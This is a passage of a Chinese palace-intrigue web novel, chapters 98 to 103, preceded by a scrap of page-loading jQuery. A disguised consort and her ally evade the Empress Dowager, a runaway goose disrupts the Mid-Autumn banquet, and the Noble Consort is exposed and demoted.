$(''.inform'').remove(); $(''#content'').append('' 贵妃的秘密,她也不敢乱说。 姜妃冷眼一扫,又道:“本宫的耐心有限,趁本宫现在还愿意好好与你说话,你最好把话说清楚了。” 见姜妃发怒,那小宫女再也不敢耽搁,连忙断断续续的将方才遇到晋明鸢的事说了个清楚。 姜妃听到最后,已经忍不住噗嗤一声笑出了声。 哪怕没有亲眼见识到,她也知道这样的话是谁传出来的了,就在方才,她遇到了慌张的芙蕖。 芙蕖说把晋明鸢跟丢了,她也是担心出事才慌张过来寻人的。 没想到就… 这么看来,晋姐姐还有闲心开玩笑,应当是没有大事了。 只是… 想到那贵妃风评被害的事,姜妃实在忍不住,笑的直不起腰来。 那小宫女被她笑得心虚,颤巍巍道:“姜妃娘娘,奴婢错了,奴婢不该妄议贵妃,奴婢…” “谁说你错了?实话而已,放心好了,贵妃没有那么小心眼,对了,你刚才说的那个宫女往哪个方向去了?”姜妃道。 实话?难不成贵妃还真有那等癖好?那小宫女又是愣了一下,才木讷的帮姜妃指了个方向,等到姜妃离去,她又是好奇的嘀咕一声:“难道草叶真比草纸好用吗?” 这话不偏不倚又传到了姜妃的耳朵里,姜妃再次控制不住笑出了声,想来今日之后,那方才被晋姐姐薅过的树叶,得被人薅秃了。 这群小宫女好奇心可是重的很。 贵妃同款的草纸她们用不到,这树叶可不得想办法试试吗? 她还真是有些期待,这事儿何时能传到贵妃耳朵里去呢!以那人小心眼的程度,肯定能气个半死。 不过…眼下最重要的,还是得赶紧找到晋姐姐。 如是想着姜妃的脚步都加快了许多,还没走多远,她就听到了几声训斥,转过拐角,正看到太后与王嬷嬷立在小路上,而太后面前低着头的那宫女,哪怕她看不到脸,也知道是谁。 第98章 太后的秘密 姜妃心里一凛,连忙加快脚步朝着太后那里走去,先简单的行了一个礼之后,她就一把扯了晋明鸢的袖子,将人扯的踉跄一步,训斥道:“你这宫女怎么回事?刚才在那边就风风火火的,本宫念你是给贵妃办事的,这才饶你一次,你现在竟然还敢冲撞太后,不想活了是不是?” 她一边说着,一边不断的朝着晋明鸢挤眼。 晋明鸢立刻摇头:“姜妃娘娘息怒,太后娘娘息怒,奴婢也是太着急了,贵妃娘娘那里还等着奴婢呢,奴婢…” “方才本宫已经饶过你一次了,现在你竟然还敢冲撞太后,贵妃的人又如何?便是贵妃的人,也不能对太后不敬,来人把这贱婢拖下杖责五十。”姜妃道。 “慢着!”太后稍稍整理了一下衣衫,开口喝止了姜妃,她又瞥了一眼晋明鸢,“你说你是贵妃的人,你方才办什么差事这么着急?” 晋明鸢把头埋的低低的,半点儿五官都不敢露出来。 她也是没想到自己这么倒霉。 方才安妃带着那个男人朝着曲悦阁的方向走,她自然不敢再往那边去,只能换了个方向。 哪曾想没走几步就撞上了太后。 太后认识她,又想除掉她,她自然不敢在太后面前露面,当即就遮着脸跪了下来。 可太后也不知怎么生了疑心,非要看看她的脸。 若不是姜妃来的及时,恐怕她刚才就… “哀家问你话呢,有什么不能说的?”太后又问。 姜妃也道:“行了,今日既然都被太后娘娘撞上了,你也别替你主子隐瞒了,有话就直说吧。” 姜妃这一句话,晋明鸢就知到她要自己说的是什么了。 她深吸了一口气,摆出了几分不安的模样,硬着头皮道:“贵妃娘娘在前面出恭,让奴婢帮她拿纸,奴婢心里着急,这才冲撞了太后娘娘,太后娘娘息怒。” 太后脸色也僵了。 像是听到了什么晦气的事一样,她恼道:“荒唐,堂堂一个贵妃,她怎么能…” “这人有三急,贵妃娘娘她实在是…”晋明鸢硬着头皮,自己也有些说不下去。 她方才就是糊弄那几个宫女的。 也没想舞到太后跟前的,谁知道就这么撞上了。 还有看热闹不嫌事大的姜妃在旁边唆使。 她这也是没办法才… 姜妃有些无奈:“话虽如此,但她好歹是个贵妃,做出这种事来,实在有损皇家颜面,还有你这贱婢,不管如何也冲撞了太后娘娘,不如还是拖下去杖责…” “慢着,姜妃,这大好的日子,你张口闭口就是打杀,像什么样子,她也是为贵妃办事的,让她走吧,这事实在是贵妃不成规矩,等晚些哀家找个时间好好提点贵妃就是。 总之今日的是你们都给哀家忘了,绝不能让这种有损皇家颜面的事传出去,知道吗?”太后道。 “臣妾知道了。”姜妃道,她又对着太后行了个礼,转而对着晋明鸢道,“还愣着做什么?太后娘娘慈悲,饶你一命,还不快滚?” 晋明鸢连忙应声,慌张的退下。 哪怕知道太后放过她便是没有认出她来,但这会她心里还是虚的厉害,连走路的时候都是踉踉跄跄的。 不过这些看在太后眼里,倒像是她因为方才冲撞了太后而在害怕,也没有引起什么注意。 晋明鸢走后不久,姜妃也离开了,她特地绕了个路,没有与晋明鸢走相同的方向。 转眼间这里就剩了王嬷嬷和太后。 王嬷嬷道:“太后娘娘,您就是多虑了,刚才假山那里的人应当就是安妃,这宫女既然能说出这样的理由来,应当不是撒谎。” 毕竟做下人的,哪个胆子这么大,敢造主子这么荒唐的谣? 这事儿八成是确有其事。 太后脸色也不好看:“应当是哀家多虑了,只是那贵妃也确实是不成样子,这事哀家可得和皇帝好好说说,就算再急,关乎皇家颜面的事,也不能如此。” 王嬷嬷连连点头:“太后娘娘说的是。” 而此时,晋明鸢已经顺利出了御花园,没走几步,就与姜妃成功汇合。 看到她,姜妃就是一脸的担忧:“晋姐姐,今日到底怎么回事?你怎么又冲撞了太后?” 晋明鸢道:“我也不想的,实在是…我失忆的事你知道吧?我今天不小心听到太后和人密谋,原来我失忆之前也是因为偷听了太后的话,这才遭了难。 你说这巧不巧?你是不知道,她竟然还想动云瑄,我得赶紧回去守着云瑄。” 一听到晋明鸢的话,姜妃的脸色也正色起来:“你说的是真的?那你可知那男人是谁?” “我不知道,不过如果再见到的话,肯定能认出来的。”晋明鸢道。 姜妃道:“不行晋姐姐,你现在得跟我去一趟曲悦阁,我们得先知道那个男人的身份,你上次听到的消息肯定很重要,太后说不定… 这种事绝对不能小觑。” 姜妃脸色难得郑重许多,拉着晋明鸢的手就要走。 当年夺嫡之争惨烈的时候,眼瞅着陛下胜券在握,是太后站出来给自己儿子请了封地,然后又让儿子远离京都,如此保住了宴平王一命。 这几年以来,宴平王从未进京,太后稳居太后之位,一切都看起来很是和谐。 可偏偏陛下与太后的关系却算不得好。 姜妃一直都觉得太后应该是存了别的心思的,否则她若真的甘心,也不至于总对陛下的决定各种阻挠。 如果自己想多了还好,怕就怕太后等人真的存了别的心思。 她是不喜贺江灈,却也很清楚,贺江灈在位这五年,江山稳固,百姓安居,他称得上是一位明君。 若是这皇位换个人来做,未必就能比他做得更好,而且一旦真的有什么风吹草动,受苦的还是天下百姓。 这种事既然发觉了,能防自然是要防着的,若她为了个人喜恶而置之不理,传到父亲耳朵里,父亲必会打断她的腿的。 晋明鸢甩开了姜妃的手:“不行,我得先去看着云瑄,云瑄不能出事。” 姜妃道:“姐姐莫慌,如果她们真想对云瑄做什么,你回去与不回去差别不大,我会让姜家的暗卫守着云瑄,今日你与我一起去宫宴。” 第99章 晋姐姐,那是我爹 晋明鸢到底是被姜妃半拖半拽拽到了宫宴上。 为了掩饰身份,姜妃还特地给她找了一套全新的宫女装。 她们一行人到的不算早,虽说皇帝还没来,但太后和贵妃已经到了,群臣与嫔妃亦是坐得整整齐齐的。 姜妃一进门,太后掀了掀眼皮,就指摘道:“这都什么时候了?姜妃还真是好大的架子,竟然比哀家到的还迟。” 乍一听到太后的声音,晋明鸢心里就是一慌,她没有抬头,却好像能感觉到对方探究的目光是落在她头顶的。 反倒是姜妃,表现的格外淡定:“臣妾方才弄脏了衣裙,不敢穿脏衣辱了太后您的眼,特地去换了一件,这才耽搁了些时间,还请太后娘娘息怒。” 手指扯了姜妃的袖子一下,晋明鸢都有些无语,太后明摆着就是在发难,她还敢把责任往太后身上推,这不是没事找事吗? 姜妃安抚的拍了一下晋明鸢的手,不等太后的回应,她甚至又催促一句:“太后娘娘,臣妾可以落坐了吗?” 太后又一次掀掀眼皮瞪了姜妃一眼,摆了摆手,也不说话。 姜妃又道:“臣妾谢太后娘娘赐座。” 太后的脸色依旧算不上好看,却也没有再往姜妃这里看。 姜妃对此一点也不觉得惊讶。 被撞破秘密的是太后,现在紧张的也该是太后。 她自己表现的越淡定,才越能摆脱嫌疑。 简单的安置妥当之后,姜妃就压低了声音询问:“晋姐姐,你可看出来那个男人是谁了吗?” 晋明鸢的视线一直都小心翼翼的朝着百官的席面瞥,只是这一来,她就有些头疼。 她自以为能一眼认出那个男人,很大的一部分原因就是因为男人身上穿的衣裳,可谁知道这宴席上,所有人都换了朝服,她还真是有些拿不准了。 尤其是刚才那样紧张的情况,她哪里敢盯着男人的脸看?这会儿只能小心分辨身形。 然而最令她觉得无语的是,像那个男人那般身材魁梧的,在席间竟然有好几个。 晋明鸢半天没回应,姜妃也意识到了什么:“晋姐姐,你该不会是认不出来了吧?” 话到这里,姜妃都有些无奈,她又催促:“你再仔细想想呢,肯定能想起来的对吧。” 可不是什么小事。 须得禀报陛下知道才行。 只是若是一点证据也拿不出来,仅凭她自己的臆想去禀报,陛下那里绝对不会信的。 晋明鸢挠挠头,目光定格在两个身形魁梧的大臣身上,在姜妃的催促之下,她的手试探着指了一个方向:“你觉得那个人有可能和太后同流合污吗?” 姜妃顺着她说的方向看过去,一时脸上愈发的一言难尽,她笃定道:“晋姐姐,你就是忘了吧?” “不是那个人吗?”晋明鸢又问。 不管是身形也好,又是肤色也罢,她总觉得她指的那个没错。 姜妃面无表情的道:“那是我爹,他跟太后有没有关系我还是知道的。” “啊?”晋明鸢呆住了,错愕的看向那个被自己怀疑的人。 姜老将军也察觉到了她的视线,冲着她和善的笑了笑。 这回哪怕不用姜妃说什么,晋明鸢也知道自己定是指错了,就她在御花园看到的那人凶神恶煞的模样,绝不可能和善的对一个宫女笑。 晋明鸢尴尬的挠挠头:“等等,声音,我记得他的声音,听到声音肯定能认出来的。” 姜妃现下已经有些信不过晋明鸢了,她眉心皱的深深地,正要再确认两句,就听外面一句通报:“陛下驾到。” 到了嘴边的话连忙咽了下去,姜妃顺手拽了晋明鸢一下,示意她行礼。 晋明鸢顺势弯下了腰,听着脚步声由远及近,目光所及处,是大片明黄色的衣摆,她心里不免有些纠结,想要看看这位她名义上的夫君到底长什么模样? 正准备抬头,忽然听着旁边不远处传来一声尖叫,紧接着,整个宴席都是一片的骚乱。 叫嚷声不断。 晋明鸢略微抬了抬眼,就看到一个格外熟悉的身影,大摇大摆的冲进了曲悦阁,毫无规矩的撞上了一个嫔妃的桌子。 这什么情况?她的鹅怎么跑这儿来了? 芙蕖不是找了皇帝帮忙抓鹅吗?怎么还有漏网之鱼? 额头上渐渐的渗出了冷汗,晋明鸢这会儿心情比方才在御花园里也好不了多少。 “怎么回事?哪里来的鹅?来人呀!还不快给哀家把这东西赶出去!”太后也是回过神来,当即就尖叫一声。 那鹅也不知是不是被动静吸引,竟然大摇大摆的直冲太后的桌子而去。 看到这一幕,晋明鸢简直傻了眼。 她又是慌乱的拽了姜妃一把,示意姜妃想办法。 姜妃额头上也是冷汗连连,更是直接将求助的目光投向了贺江灈。 她心里忍不住犯嘀咕,芙蕖不是信誓旦旦的说这鹅的是已经被陛下接下来了吗? 按照陛下的能力,这宫里不应该有漏网之鱼才对。 就算是有,这皇宫这么大,怎么就不偏不倚的跑到了设宴用的曲悦阁? 姜妃这里一时还没想明白个所以然,太后那边,已经是一群人手忙脚乱的抓起鹅来。 奈何这鹅的矫健她们在冷宫已经见识过一遍了,绕是太后身边的宫女太监轮番上阵,这鹅却总能从旁人想不到的缝隙里钻出来,竟是直接冲着太后的脸上扑过去。 太后浑身发抖,已经被逼到了角落里,她手胡乱的在身前挥舞着,试图赶走那鹅。 但那鹅也不知是不是从她动作里感觉到了挑衅的意味,翅膀大张着,群里呱呱叫个不停就硬朝着太后脸上撞来。 乍一看到这一幕,晋明鸢简直傻了眼。 虽说她是恨不得太后丢脸来着,可却也不希望让太后丢脸的是她养的鹅呀,这万一查到她头上… 太后已经叫的破了音:“来人,来人啊!快把这畜生弄走!谁把它弄走,哀家必有重赏。 皇帝!皇帝呢,快点叫人,快来救救哀家。” 第100章 太后别忘了臣妾的赏赐 晋明鸢眼前还能看到大片明黄色的衣摆,她知道那陛下就在自己的跟前,只是她这会儿却真的连头也不敢抬了。 太后那里已是一片兵荒马乱,也不知为什么,这位皇帝却好像稳如泰山,竟是根本没有上去帮忙的意思。 反倒是姜妃这会完全就是一副摩拳擦掌,跃跃欲试的模样。 晋明鸢眼见着情况有些不对,伸手拽了姜妃一下:“你做什么?” “没听太后娘娘说嘛?抓鹅有重赏,说不准能因此得了太后的信任呢?”姜妃嘀咕一句,直接就拨开了晋明鸢的手,冲着太后的方向扑了过去。 她这会儿也是感觉到,只靠着晋明鸢认人,有些不靠谱。 倒不如趁着这大好的机会去接近太后试试。 说不准就能因此博取太后信任了呢? 到时候她再常往福寿宫走动走动,就不怕找不到蛛丝马迹。 姜妃一身牛劲,晋明鸢根本拽不住她,就让她直接冲着太后扑了过去。 这种节骨眼上,晋明鸢自己是一点也不敢声张,只能眼睁睁的看着姜妃挤进了抓鹅的队伍。 有了姜妃带头,又有几个低位的嫔妃也要往上冲,只是一眨眼的功夫,太后身边就已经围的水泄不通。 便是晋明鸢踮着脚想看,一时都看不到那鹅最后能花落谁家。 一阵折腾之后,人群终于散开,太后还是蜷缩在角落里捂着胸口,半天都回不过神来的模样。 而在太后面前,站着的赫然是掐着鹅脖子的姜妃,她这会儿腰杆挺的笔直,活像个凯旋得胜的大将军,顺手把鹅塞给旁边的小太监时,她还不忘扭头对太后道:“太后娘娘,这鹅是臣妾抓的,您可看到了,臣妾这般救您于水火,您可不能忘了臣妾。” 太后方缓和些许的神色,因为姜妃这句话又开始扭曲。 她是说了抓鹅有赏,但这姜妃至于当场就问她要吗? 瞧她那迫不及待的姿态,就像是自己会赖账一样。 王嬷嬷也是一脸一言难尽,连忙替太后开口道:“姜妃娘娘放心,太后会记得您的好的。” “有您这句话,臣妾就放心了。”姜妃笑盈盈的应了一声,大摇大摆的走回了自己的位置。 太后还蜷缩在地上没有起身,这姜妃竟然扶也不扶一把,只顾着讨赏,这目的也忒明确了点儿。 看到这一幕,不仅是嫔妃,就连大臣们都是满脸震惊,唏嘘不已。 贵妃一脸无奈的道:“姜妹妹,今日这宫宴可是你一手操办的,如今出了这样的事,你难道不应该解释解释吗?如果本宫没有记错的话,这鹅…” “贵妃这话什么意思?难道想说这鹅是我们稚儿放的?稚儿荒唐,老臣无从辩解,但以老臣对稚儿的了解,这鹅可能是她养的,但绝不可能是她丢到宴会上来的,大事上她是拎的清的。” 贵妃话没说完,就被一个粗犷的男声打断了,正是那个被晋明鸢误指的姜老将军站了出来。 “是吗?以姜老将军的意思,难道在宫里养鹅就对了?”满春厉声质问道。 鹅已经被拎了下去。 即便现在无法向所有人证明这鹅是谁养的,但她们这些宫里的人都心照不宣。 即便这东西出自冷宫,但也是姜妃弄来的,现在姜老将军自己替姜妃认下,正好也方便她们借此发难。 “这…”姜老将军话音一滞,开始不断的冲着姜妃使眼色。 他方才也是见势不对,一时情急之下,才想着替姜妃遮掩的,但现在细细想来,在皇宫里养鹅确实也不是什么正经勾当。 想到这里,姜老将军又狠狠的瞪了姜妃一眼。 晋明鸢也是一阵心虚,甭管之前怎么想,这鹅的事闹到了宫宴上,闹到了陛下与太后跟前,她就是心再大,也总归要慌的。 至于那几个问晋明鸢买鹅的嫔妃,这会儿也各个手心冒汗,眼神飘忽,只恨不得能脱离这尴尬的处境。 姜妃倒是不慌不忙,视线扫向了贵妃:“贵妃娘娘,我为什么养鹅您当真不知吗?您现在因为这件事发难的时候,可有问过陛下的意思?” “这关陛下什么事?难道你还想说,这鹅是陛下允许你养的?”满春又是一句质问。 这鹅在宫宴上,弄出了这么大动静,姜妃竟然还敢在这时候把陛下扯下水,她该不会觉得陛下会帮她说话吧? 诚然陛下确实默许了晋娘娘在冷宫养这些,但那也仅限于小打小闹罢了,如今鹅在宫宴上如此动静,已然是有损皇家颜面,陛下怎么可能还出面袒护? 晋明鸢也是被姜妃这番作为吓到了,她又拽了拽姜妃,不住的使眼色。 开什么玩笑,这么个情况,陛下不向她们发难就已经是万幸了,她怎么敢把事推给陛下的,咋想的? 姜妃还是那副死猪不怕开水烫的姿态,连腰杆都挺的笔直:“不然呢?你也不想想,若非陛下的意思,这宫里怎么可能出现活的牲畜? 本来这是陛下给太后的惊喜,不许说得,但今日闹成这样,不说是不行了。” 她意味不明的叹了口气,又看向了贺江灈:“陛下,臣妾能说吗?” 伴随着姜妃的话,晋明鸢也是错愕的看向了贺江灈。 这又是什么情况,什么时候她的鹅成了陛下给太后的惊喜? 她自己咋啥都不知道呢? 贺江灈已经坐到了龙椅上,冕冠上长长的流苏垂落下来,遮着大半张脸,隔着一段距离,晋明鸢连他的五官都看不清楚。 但这并不妨碍她的心虚。 她只觉得姜妃莫不是疯魔了?不然怎么什么话都往外说? 贺江灈也朝着姜妃这里看过来,目光从晋明鸢身上停留些许,才对上姜妃那挤眉弄眼的表情,他摆了摆手:“说吧。” 姜妃这才道:“是这样的,陛下听闻活鹅现杀肉质鲜美,所以就特地让本宫在冷宫里养了几只,本来正打算今日一早送到御膳房去,给太后娘娘以及大家尝尝鲜的,谁知道…谁知道…” 姜妃话不说完,目光看向了贵妃:“也不知道哪个杀千刀的,竟然在这种事上捣乱,一大早竟是跑到冷宫把鹅都放出来了。 陛下看在中秋佳节,不许声张,派了人手抓鹅,可却还有这么一个漏网之鱼竟然逃过层层围堵不偏不倚的来了曲悦阁,以本宫之见,这件事必须彻查,必须得给这妄图浑水摸鱼搅乱宫宴的人一个教训!” 第101章 以后跟你混了 一句层层围堵,一句漏网之鱼,放在一起就足够说明很多问题了。 是呀,皇宫这么大,甭管这鹅是怎么跑出来的,不偏不倚就这么跑到了曲悦阁,难道还不值得怀疑吗? 一时间一群不明所以的臣子都是面面相觑,之后又是一副看戏的姿态,明显都意识到今日这事儿不简单。 而向晋明鸢买鹅的几个宫妃现下一个个都低头不语,努力降低着存在感,她们都听懂了姜妃的言外之意,今日这事儿要查的,只是跑到殿上来的这一只鹅,并非是要追究她们私底下买卖。 如此一来,只要她们能稳住心态不声张,这一关便也能过了。 就在一群人都存在侥幸心理的时候,贵妃忽然叹了一口气:“姜妹妹,姐姐知道你这是第一次操持宫宴,如今出了这样大的乱子,你心里害怕推卸责任也是应该的。 只是你再怎么说,也不该把责任往陛下身上推呀,咱们陛下素来做事严谨,莫说他不可能养鹅,就算他真的交代你做了这事,也绝不可能出现这么大的纰漏。 像妹妹这样空口白牙一顿指摘,直接就将陛下的面子视若无物,未免太荒唐了些。” “纰漏?荒唐?贵妃姐姐是在说自己吗?我这还没有开始查呢,姐姐何必如此慌张,又何必扯这么多长篇大论?难道姐姐是想掩盖什么吗?”姜妃面色不改,双手环胸看向贵妃时就是一副倨傲的模样。 就像是胜券在握,完全不把贵妃放在眼里一样。 只看她这架势,晋明鸢简直无法理解她到底哪里来的自信,她该不会觉得陛下真能把养鹅的事替她担下来吧? 晋明鸢不禁仔细回想一番,她这位姜妃妹妹也不是什么宠妃呀,甚至从她搬到幽兰馆这么久以来,就没听说过陛下的轿辇进幽兰馆,她怎么能这么有底气? “我有什么可掩盖的,我只是想提醒姜妃妹妹,胡闹也该有个限度,不应拿陛下的颜面开玩笑。”贵妃说。 姜妃看了贵妃一眼,她好似沉思了一下,很快就恍然大悟道:“我知道了,说来说去,贵妃姐姐纠结的还是养鹅的事是吧,我都说了那是陛下托我们养的,此事陛下没有否认,便是毋庸置疑的事实,没必要在这件事上浪费时间。 现在最要紧的是要查清今日放鹅扰乱宫宴的罪魁祸首,贵妃难道不这么觉得吗?” 姜妃的语气从始至终都很是淡定,在她又一次重复了养鹅一事是陛下允许之后,一时间所有人的目光都重新锁定在贺江灈的身上。 良久之后,也没有等到贺江灈反驳一句,明显就是默认了。 这一幕立刻就引得在场的人神色各异,一众嫔妃们虽然疑惑,但更多的是松了口气,毕竟这事陛下认下来,就不可能再找她们的麻烦了。 大臣们虽是惊讶,但方才姜妃也解释过了,养鹅是为了给宴席上增加一道佳肴,尚且说得过去。 但了解全部事情的晋明鸢就没那么淡定了,这鹅到底是怎么养的,她最清楚不过了。 这会儿眼睁睁的看着龙椅上的那位都在帮姜妃遮掩,她的手直接在桌子下面冲着姜妃竖了个大拇指,还不忘感慨一句:“行啊姜妹妹,枉我之前还以为你也是个不受宠的小可怜,没想到竟是我看走了眼,能让陛下替你做伪证,手段可以啊,以后我就跟你混了。” 姜妃的手探到桌下,轻轻地将晋明鸢那只竖起来的拇指掰了回去。 她没说话,心里却在不住的嘀咕,陛下哪里是给他作伪证呀?分明是怕她旁边这个惹了太后不悦,才愿意自己把事情扛下来的。 可惜晋姐姐什么都不知道,不过不知道更好,那人之前对不起晋姐姐良多,也该让他多承担些。 在姜妃和晋明鸢互动的时候,贵妃的视线一直不动声色的朝着贺江灈那里看。 可无论她再怎么看下去,贺江灈都没有与她对视,更别提按她所设想的那般否认养鹅的事了。 一时间贵妃的表情都有些僵硬,满春对着姜妃说:“姜妃娘娘,今日冷宫发生的事多的是人知道,你口口声声说鹅是陛下让养的,那今天那些去冷宫排队的嫔妃又是去做什么的?” 陛下袒护晋明鸢,她们一早就知道。 今日事情闹得这么大便也不是给陛下看的,而是给太后看的。 今日宫宴,不仅有六宫嫔妃,还有文武百官,出了这么大的纰漏,就不信陛下能压下去,就不信太后会放任着不管。 姜妃侧目瞥了满春一眼,像是没想到她能这般不依不饶,但很快她就道:“自然是去帮忙的,今日我忙于宫宴,冷宫人手不足,各位妹妹们知道情况后自发去冷宫帮忙,准备把鹅送去御膳房的,结果就不知道让哪个杀千刀的钻了空子,搅乱了局势,把鹅都放了出来。 可怜各位妹妹一番好意,现在被满春姑娘如此猜忌,实在是冤枉的很呢。” 满春提到冷宫的时候,一群嫔妃们已经吓得浑身发抖,冷汗连连,却不想姜妃几句话,竟是给她们找了个合理的理由。 是呀,陛下都已经默认了鹅是他养的,那她们去冷宫就是给陛下帮忙的,她们还怕什么呢? 这么想着,一群人一下子就有底气起来。 徐婕妤率先道:“姜妃姐姐说的是,我们都是听说晋娘娘忙不过来才去帮忙的。” 王昭仪也道:“就是,大家好心去帮忙,满春姑娘何必如此猜忌?话又说回来了,姐妹们还记不记得今日咱们去冷宫的时候,可是有个小太监不停的起哄来着,你们谁看见那小太监长什么模样了?” “这…好像是有一个来的,而且他走的时候还抓了一只鹅走。” “那人谨慎的很呢,一直低着头看不清脸,不过听声音的话好像是贵妃宫里的小路子。” “哎,你这么一说,好像还真的是,我记得我不小心抓到了他的手,他手上应该有抓痕才对,要不把人叫来认一认?” 第102章 皇帝,你的贵妃真不体面 这群人原本都是贵妃的马前卒。 放在平常再怎么闹也会顾及贵妃的面子。 可这次贵妃实在是太没把她们当回事了。 买鹅的事,她们这么多人都参与其中了,刚才东窗事发的时候,贵妃却一点儿也没有考虑她们的处境。 甚至还是贵妃身边的满春主张将这件事挑出来的。 若非有姜妃在这里遮掩,任凭贵妃那边一直拆穿下去,只怕她们所有人都会因此受罚。 在这种情况下,为了自保,谁又有心思来维护贵妃的面子呢? 现在最要紧的自然是把自己摘干净。 “小路子?”姜妃不紧不慢的将从这些嫔妃口中听到的名字咂摸了一遍,她又转而冲着贵妃道,“贵妃姐姐,臣妾倒是有些弄不明白了,这些鹅是要往御膳房送的,你跟前的小路子为什么要跑去冷宫抓走一只呢? 该不会刚才跑到宴席上的那只鹅,就是小路子丢进来的吧?” “什么小路子,本宫不知道。”贵妃脸色变了变,很快就矢口否认道。 姜妃笑笑:“不知道没关系,说不定贵妃姐姐年纪大了,记性不好,把人叫过来了,大抵就该认识了吧。 刚才听有位妹妹说抓伤了小路子,想来等把人叫来,便也知道他是不是偷偷去冷宫里抓鹅的那个了。 贵妃姐姐觉得呢?” “我听不懂你在说什么,陛下,今日是中秋宫宴,文武百官都在,难道要因为姜妃妹妹一个人的无理取闹,耽搁了开宴的时间吗?”贵妃说。 在姜妃一次次提到小路子的时候,她的视线就有些飘忽,最开始只是不与姜妃对视,到最后却把求助的目光望向了贺江灈。 “什么耽误不耽误的?今日宫宴上却出了这么大的祸端,不把事情弄清楚,还是让百官笑话。 查!这件事必须得查,查到底!那小路子呢,把人给哀家叫来。” 太后捂着胸口,还有些没从刚才的惊惧里回过神来,一听贵妃向贺江灈求助,明显还是一副心虚的模样,她登时赶在贺江灈开口之前接了话,一双锐利的凤眸直接扫向了贵妃。 她可是听得真真切切的。 害的她方才出了那样大丑的就是贵妃的人。 就算现在贵妃还不承认,但她的心虚已然是证明了一切。 太后都发了话,贵妃又是小心翼翼的看了贺江灈一眼,尽管她做得谨慎,但那视线还是让太后捕捉到了。 太后冷哼一声:“看什么看,你别指望皇帝给你出头,自己无能失了宫权不知好好反省便也罢了,竟然还使这种下作手段搅乱姜妃一手操办的宴会,一点也不顾及皇家颜面,哀家看你这个贵妃也不用当了。” “母后,臣妾没有,臣妾…”贵妃有些无奈,她想解释自己没有谋夺宫权的意思。 “你给哀家闭嘴,你私底下再如何不体面,哀家都忍了,今日竟然把主意打到宫宴上来,确实是有些不知所谓了。 皇帝,你也抽时间多管管你的贵妃,好歹是一宫主位,总做些不体面的事实在是丢人现眼。” 根本没有给贵妃说话的机会,太后就直接打断了她,视线嫌弃的在贵妃脸上扫过,瞥见她那张泫然欲泣的脸,太后一下子就想起了自己方才在御花园听到的那些关于贵妃的话。 眼睛里闪过几分明显的厌恶,她想直接训斥,又看到这周围尽是朝臣,终于还是没挑明,不冷不热的又补了句:“改改自己的陋习,别哪天行这不体面的事让人撞上,平白丢尽了皇帝的脸。” 小路子还没到场,太后先把贵妃劈头盖脸一阵训斥直接震惊了所有人。 即便是一直稳如泰山的贺江灈,此刻也感觉出了太后话里有话,他皱眉道:“母后,可是贵妃还做了什么让您不喜的事?” 太后掀了掀眼皮,正好看到贵妃一脸茫然的神色,她又是不冷不热的道:“你自己问她,在御花园里做什么了?简直是不成样子。” 她做什么了? 贵妃一脸茫然。 她能感觉出来,太后提起所谓的御花园的事时,好似比这鹅的事还要恼怒。 可任凭她想破了脑子,竟是无论如何也想不出来自己到底做了什么,能让太后这么生气。 太后半遮半掩的话,一下子就勾起了所有人的好奇。 不少人的视线都不动声色的朝着贵妃那里望。 而知道真相的晋明鸢和姜妃这会儿已经憋笑憋出了眼泪。 诚然是她们二人为了脱身,故意拿贵妃当了次挡箭牌,但谁也没想到太后竟然会把这事儿拿到宴会上来说,甚至是当着文武百官的面,这真真是… 哪怕关系不怎么样,晋明鸢都有些替贵妃尴尬。 就在所有人还都没想清楚太后用意的时候,已经有人把小路子带了上来,一番检查之后,果然在小路子的虎口上看到了一道明显的抓痕。 这小路子又是玉粹宫的粗使太监,身份也改变不了,一见到太后皇帝和姜妃几乎三堂会审的架势,一下子就全招了。 太后又冷眼扫了贵妃一眼:“皇帝,你这贵妃实在不成体统,如今文武百官都看着呢,你可不能再包庇她了。” 太后平日里就最看不惯贵妃,尤其是今日贵妃还让她在宫宴上出了丑。 这账自然是得算的。 其实即便是要发,等到宫宴结束也不晚,但太后偏现在提出来,就是不给贺江灈包庇贵妃重轻发落的机会。 如今人赃并获。 也确实是贵妃找人去冷宫抓了鹅,搅乱了宫宴,自然是没什么包庇的必要,贺江灈道:“贵妃言行失德,就依母后说的那般,从今日起降为清妃,罚俸一年,母后觉得如何?” 太后不屑的掀了掀眼皮:“皇帝觉得好就好,哀家的话你可得放在心上,好好约束你这清妃,免得以后她那些荒唐事被人撞破,到最后丢的还是你的面子。” 话到最后太后语气里又多了些语重心长的意味,一想到她暗指的是什么,晋明鸢实在没忍住,噗嗤一声笑出了声。 第103章 晋明鸢在不在场 太后的视线一下子就冲着晋明鸢的方向扫了过来。 晋明鸢心里一紧直把头埋的更低了,生怕被太后发现她就是那个在御花园里告了贵妃一状的宫女。 姜妃见势不对,正要说话,上首处的贺江灈忽然道:“姜妃,你这个宫女也太不懂规矩,让她滚出去,别在这里碍眼。” 伴随着贺江灈话落,太后的目光从晋明鸢的身上移到了他身上:“皇帝今日似乎火气很大啊,一个宫女而已…” “是呀,一个宫女而已,却敢扰乱宫宴,实在是没规矩,姜妃,还不让你的人滚?” 不等太后的话说完,贺江灈又一直打断了她,声音里带着明显的厌烦,目光收回来的时候,还有意无意的从清妃那里瞥了一眼。 太后顺着他的视线,也落在了清妃头顶上。 皇帝之前最爱偏宠清妃,今日宫宴,当着文武百官的面,清妃却让他丢了这么大的脸,他因为此事迁怒旁人也应该。 这么想着,太后便也不再关注晋明鸢了。 她也重复道:“姜妃,愣着做什么,还不让你的人出去?” 知道晋明鸢留在这里也未必能认出那个与太后密谋的人,反倒还容易吸引太后的注意,姜妃便也摆了摆手,顺势让晋明鸢出去。 可晋明鸢这时却有些失神,目光遥遥的朝着上首的贺江灈望过去。 距离远,男人冕冠上的流苏遮着脸,她看不清对方的五官,可不知怎么总觉得上面那人有一些像她宝贝儿子的便宜爹。 身形像,声音也像。 让她忍不住想要上前拨开男人脸上的流苏一探究竟。 直到姜妃推了她一把,她才后知后觉得回过神来,带着满心的疑虑往殿外走。 视线不敢在朝着贺江灈那里望,她经过百官的席面时,却是不动声色的打量了一番,可惜的是她根本就没有看到今日在御花园里见到的那人。 她不禁有些怀疑自己,难道真的记性那么差,才刚见过的人就忘了,不应该呀… 不知不觉间,晋明鸢已经走至曲悦阁的门口,在心里把自己方才见过的人都回想了一遍,她几乎可以确定,那个人就是不在这里。 认人的事没有什么必要了,现在最重要的就是回冷宫看云瑄,晋明鸢很快就打定了主意,疾步朝着冷宫而去。 宴席上再没有别的风波,舞姬乐师很快就进了场,衣香鬓影缭乱,觥筹交错不断,席间更是一片其乐融融,就像是方才什么都没有发生过一样。 太后也很快换上了一张笑脸,全然是一副慈祥和善的模样。 